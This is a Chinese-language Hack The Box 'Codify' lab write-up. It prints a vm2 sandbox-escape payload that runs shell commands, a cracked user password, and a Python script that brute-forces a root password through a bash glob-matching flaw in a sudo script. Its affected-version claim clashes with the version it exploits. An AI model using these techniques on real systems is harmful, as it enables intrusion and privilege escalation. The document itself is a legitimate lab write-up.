文章

HackTheBox - Codify Writeup

就是靶機WP

環境

題目

Hack The Box

記得連 HTB VPN

/etc/hosts 設定

image

找服務

有 ssh 連線、Apache 網站、還有一個 Node.js Express

image

網站頁面

首頁

說明是一個讓使用者可以跑 JavaScript 程式碼的沙盒環境

image

限制

說明禁止以及可使用的東西

child_process 是一個可以讓 Node.js 執行指令的功能

fs 可以對檔案進行讀寫

image

關於

說到了使用 vm2 這個 library 來實作沙盒,版本是 3.9.16

https://github.com/patriksimek/vm2/releases/tag/3.9.16

image

功能頁面

左側可以輸入 JavaScript 程式碼,按下 Run 後結果會顯示在右側

image

找已存在漏洞

Google 看看

image

Sandbox Bypass

漏洞編號:CVE-2023-32314

版本小於 3.6.18 的 vm2 會受影響

image

這個漏洞可以做到vm2沙盒逃逸,也就是說可以允許攻擊者在主機系統上執行任意代碼

繞過沙盒環境的限制。

首先前面兩行是正常的建立 vm 環境

1
2
const { VM } = require("vm2");
const vm = new VM();

中間這一串

在 const code = ``; 中的內容

是打算要在 vm 內運行的程式碼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("echo hacked").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;

把中間抓出來看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//定義一個 Error 名為 err
const err = new Error();

// err  name 屬性設定成 toString 方法通常應該是字串
err.name = {
  toString: new Proxy(() => "", { //接著使用 Proxy 來改寫 toString 方法
    apply(target, thiz, args) { //當函數的 () => "" 行為發生時使用 apply 的內容來取代原本行為
			//還是看不懂 args.constructor.constructor 這鬼東西 
      //不過這時的 process 應該已經是逃離沙盒環境的東西了因為下一行程式碼可以執行被黑單的 child_process
      const process = args.constructor.constructor("return process")();
			//這一行就是運行惡意行為的動作而已
      throw process.mainModule.require("child_process").execSync("echo hacked").toString();
    },
  }),
};

//嘗試調用 err.stack 這時會觸發 err.name 被調用
//err.name 被改成 toString 方法
// toString 方法又被 Proxy 攔截
//最後執行到了 apply 內的惡意內容
try { 
  err.stack;
} catch (stdout) { //最後透過 catch 來捕捉錯誤訊息回傳因為 apply 內用到了 throw 來主動拋出錯誤
  stdout;
}

最後一行則是正常的運行 vm

就可以將 stdout 的結果印出

1
console.log(vm.run(code));

測試看看,發現可以指令執行成功

右側輸出了 pwd 指令的結果

image

橫向移動

看看目前的使用者是誰

image

雖然現在可以透過 svc 這個使用者下指令

但沒辦法執行 sudo,畢竟不知道這使用者的密碼

所以試著找還有哪些使用者可以下手、還有順便看看能不能翻到目前使用者的資料

看到 /etc/passwd

發現另一個使用者名稱 joshua

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dnsmasq:x:113:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
joshua:x:1000:1000:,,,:/home/joshua:/bin/bash
svc:x:1001:1001:,,,:/home/svc:/bin/bash
fwupd-refresh:x:114:122:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

現在目標有兩個,找是否有 svc 和 joshua 的密碼資訊

翻看看網頁資料夾 /var/www

image

看到 /var/www/html/index.html

沒啥用的頁面

image

翻 /var/www/contact

image

看到一個 .db 檔案,直接印出來是亂碼,不過最前面有寫到格式

SQLite format 3

截圖 2024-06-16 凌晨3.45.16

Google 了一下找到可以用指令來看裡面的內容

首先看有哪些 table

image

看看 users 有哪些欄位,發現有 id 使用者名稱和密碼

image

直接印出 users 表內所有資料

拿到

使用者名稱:joshua

密碼:一大串,應該是 hash 後的值,但不知道啥格式,問 GPT ,他說是 bcrypt,信他

image

使用 john 做字典攻擊看看,跑了 21 秒就出來了,密碼是 spongebob1

image

拿去嘗試 ssh 登入看看,順利進入

1718480835263

拿到第一個 flag

image

提權

sudo -l 看有哪些東西有權限

image

發現有某個 .sh 腳本的 root 執行權限

嘗試改寫這腳本看看,不行,權限不足

image

看看這腳本在做啥,有沒有可以利用的地方

簡單來說就是使用 root 用戶去備份資料庫,並且要先輸入正確到 root 密碼才能執行

其中最前面幾行可以看到,有比對密碼的邏輯

他去 /root/.creds 抓取了密碼,用來和使用者的輸入比對

先嘗試 cat /root/.creds,不過權限不足

繼續看看有哪些地方可以下手

後面主要是在做打包資料庫,也沒其他使用者輸入的地方,看起來也沒地方下手

這個腳本我們能控制的只有密碼的輸入

image

看到密碼比對的邏輯,發現他是直接拿使用者的輸入去比對正確密碼

這表示 $DB_PASS 變數所放的正確密碼應該是明文

image

比對密碼的部分,查了一下比對字串的方式有兩種

一種是 [ str1 = str2 ]

一種是 [[ str1 == str2 ]]

image

發現 [[ str1 == str2 ]] 這種比對形式

可以使用 pattern matching

image

它可以做到像這樣的比對

image

先試玩看看

正常比對成功

image

故意讓他比對失敗試試

image

在剛剛的字串最後加上 * 可以讓字串比對成功

image

這時只要透過改星號的前一個字元,就可以透過比對是否成功

來猜測某一個字元

image

這樣可以大幅減少暴力破解的複雜度

image

實際測試一下,直接在密碼處輸入一個 *

驗證通過,表示有起作用

接下來就是暴力的測試了,因為剛剛的腳本內也沒有錯誤懲罰之類的

image

寫成腳本

先測試一下,確認有 python 可以用

image

快樂的寫程式時間,大概需要幾個步驟

  1. 抓出密碼長度
    1. 開啟 .sh
    2. 輸入密碼
    3. 捕捉訊息
      1. 正確就輸出密碼長度
      2. 錯誤就繼續往下加
  2. 暴力破解
    1. 開啟 .sh
    2. 輸入密碼
    3. 捕捉訊息
      1. 正確就往下嘗試
      2. 錯誤就繼續嘗試其他字元
      3. 直到試到剛剛的密碼長度
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import subprocess

def test_pw_len():
    for pw_len in range(30):
        pw = "?" * (pw_len + 1)
        result = subprocess.run(['sudo /opt/scripts/mysql-backup.sh'],shell=True, input=pw, capture_output=True, text=True)
        #print(pw)
        if "Password confirmed!" in result.stdout:
            return pw_len + 1

def guess_password(max_length):
    characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    pw = ''
    for _ in range(max_length):
        for char in characters:
            result = subprocess.run(['sudo /opt/scripts/mysql-backup.sh'],shell=True, input= pw + char + "*", capture_output=True, text=True)
            #print(pw + char + "*")
            if "Password confirmed!" in result.stdout:
                pw = pw + char
                break
    return pw

if __name__ == "__main__":
    max_length = test_pw_len()
    #print("max_length: ", max_length)

    password = guess_password(max_length)
    if password:
        print(f"password :) : {password}")
    else:
        print(" not found :( ")

逐個加上問號來嘗試密碼長度

image

開始嘗試每個密碼正確的字元

image

比對到最後找到正確密碼

image

嘗試拿來登入 root

Done :)

image

本文章以 CC BY 4.0 授權